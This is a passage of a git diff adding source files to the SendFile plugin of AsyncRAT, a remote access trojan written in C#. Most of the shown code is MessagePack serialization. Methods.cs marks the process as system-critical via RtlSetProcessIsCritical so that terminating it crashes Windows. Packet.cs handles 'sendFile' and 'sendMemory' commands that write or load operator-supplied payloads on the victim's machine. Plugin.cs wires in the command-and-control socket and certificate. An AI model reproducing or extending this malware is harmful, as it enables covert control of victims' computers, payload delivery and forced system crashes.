ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Methods.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Methods.cs new file mode 100644 index 0000000..237f2b4 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Methods.cs @@ -0,0 +1,66 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Methods + { + public static void ClientExit() + { + try + { + if (Convert.ToBoolean(Plugin.BDOS) && IsAdmin()) + ProcessCriticalExit(); + CloseMutex(); + Connection.SslClient?.Close(); + Connection.TcpClient?.Close(); + } + catch { } + } + + public static bool IsAdmin() + { + return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); + } + + public static void CloseMutex() + { + if (Plugin.AppMutex != null) + { + Plugin.AppMutex.Close(); + Plugin.AppMutex = null; + } + } + + public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e) + { + if (Convert.ToBoolean(Plugin.BDOS) && Methods.IsAdmin()) + ProcessCriticalExit(); + } + + public static void ProcessCriticalExit() + { + try + { + RtlSetProcessIsCritical(0, 0, 0); + } + catch + { + while (true) + { + Thread.Sleep(100000); //prevents a BSOD on exit failure + } + } + } + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3); + } +} diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs new file mode 100644 index 0000000..86bc9a0 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Packet.cs @@ -0,0 +1,54 @@ +using Plugin.Handler; +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Management; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace Plugin +{ + public static class Packet + { + public static void Read(object data) + { + try + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "sendFile": + { + new HandleSendTo().SendToDisk(unpack_msgpack); + break; + } + + case "sendMemory": + { + new HandleSendTo().SendToMemory(unpack_msgpack); + break; + } + } + } + catch (Exception ex) + { + Error(ex.Message); + } + } + + public static void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Error"; + msgpack.ForcePathObject("Error").AsString = ex; + Connection.Send(msgpack.Encode2Bytes()); + } + } + +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Plugin.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Plugin.cs new file mode 100644 index 0000000..5bc9da7 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Plugin.cs @@ -0,0 +1,45 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public static Mutex AppMutex; + public static string Mutex; + public static string BDOS; + public static string Install; + public static string InstallFile; + + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + AppMutex = mutex; + Mutex = mtx; + BDOS = bdos; + Install = install; + InstallFile = installFile; + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(msgPack); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..99f3f28 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ 